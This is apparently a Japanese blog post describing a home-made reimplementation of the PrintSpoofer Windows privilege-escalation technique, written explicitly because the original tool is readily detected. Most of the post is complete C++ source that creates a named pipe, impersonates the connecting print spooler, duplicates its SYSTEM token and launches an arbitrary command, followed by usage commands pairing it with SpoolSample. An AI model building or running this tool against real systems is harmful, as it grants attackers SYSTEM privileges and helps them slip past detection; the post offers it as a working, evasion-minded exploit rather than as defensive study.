見出し画像

#155 Token Stealer

 Windowsの権限昇格のテクニックとして有名なものにPrintSpooferがあります。

ただ、当然ながらこれはすぐ検知されてしまいます。仕組みはそんなに難しいものではないので、自作します。

My PrintSpoofer

 PrintSpooferの権限昇格は以下のような流れになります。

  1. Named Pipeを作って接続を待ち受ける

  2. Priter Serviceを作成したNamed Pipeに接続させる

  3. 接続してきたPrinter Serviceのトークンをコピーして偽装トークンを作る

  4. 偽装トークンで新しくプロセスを作る

このうち、2は、実装が大変なのでSpoolSampleを使います。


#include <iostream>
#include <Windows.h>
#include <sddl.h>

int wmain(int argc, wchar_t* argv[])
{
    LPCWSTR lpPipeName = NULL;
    LPWSTR lpCmdline = NULL;
    HANDLE hPipe = NULL;
    BOOL bStatus = NULL;
    HANDLE hToken = NULL;
    DWORD dwLength = NULL;
    PTOKEN_USER pTokenUser = {};
    LPSTR lpSid = NULL;
    HANDLE hSystemToken = NULL;
    PROCESS_INFORMATION pi = {};
    STARTUPINFO si = {};

    if (argc < 3) {
        printf("[!] usage: %ls <pipename> <command>\n", argv[0]);
        return -1;
    }
    lpPipeName = argv[1];
    lpCmdline = argv[2];
    hPipe = CreateNamedPipeW(lpPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE, 100, 0x1024, 0x1024, 0, NULL);
    if (hPipe == NULL) {
        printf("[-] CreateNamedPipe failed with error : %d\n", GetLastError());
        return -1;
    }
    printf("[+] named pipe created : %ls\n", lpPipeName);
    printf("[i] waiting for connection...\n");
    bStatus = ConnectNamedPipe(hPipe, NULL);
    if (!bStatus) {
        printf("[-] ConnectNamedPipe failed with error : %d\n", GetLastError());
        return -1;
    }
    bStatus = ImpersonateNamedPipeClient(hPipe);
    if (!bStatus) {
        printf("[-] ImpersonateNamedPipeClient failed with error : %d\n", GetLastError());
        return -1;
    }
    printf("[+] connected\n");
    OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken);
    if (hToken == NULL) {
        printf("[-] OpenThreadToken failed with error : %d\n", GetLastError());
        return -1;
    }

    // get size
    GetTokenInformation(hToken, TokenUser, NULL, 0, &dwLength);
    pTokenUser = (PTOKEN_USER)LocalAlloc(LPTR, dwLength);
    // get token user
    GetTokenInformation(hToken, TokenUser, pTokenUser, dwLength, &dwLength);
    bStatus = ConvertSidToStringSidA(pTokenUser->User.Sid, &lpSid);
    if (!bStatus) {
        printf("[-] ConvertSidToStringSid failed with error : %d\n", GetLastError());
        return -1;
    }
    printf("[+] sid : %s\n", lpSid);
    bStatus = DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hSystemToken);
    if (!bStatus) {
        printf("[-] DuplicateTokenEx failed with error : %d\n", GetLastError());
        return -1;
    }
    printf("[i] executing command : %ls\n", lpCmdline);
    bStatus = CreateProcessWithTokenW(hSystemToken, 0, NULL, lpCmdline, 0, NULL, NULL, &si, &pi);
    if (!bStatus) {
        printf("[-] CreateProcessWithTokenW failed with error : %d\n", GetLastError());
        return -1;
    }
    printf("[+] process created : %d\n", pi.dwProcessId);
    return 0;
}

使い方

接続の待ち受け

.\MyPrintSpoofer.exe \\.\pipe\test\pipe\spoolss whoami

SpoolSampleでPrinter Serviceに接続させる

.\SpoolSample.exe host host

別のプロセスで実行されるので、画面には何も表示されませんが、ちゃんと動いてます。Pipeでつなげば入力・出力もうまくいくようになりますかね。


EOF


この記事が気に入ったらサポートをしてみませんか?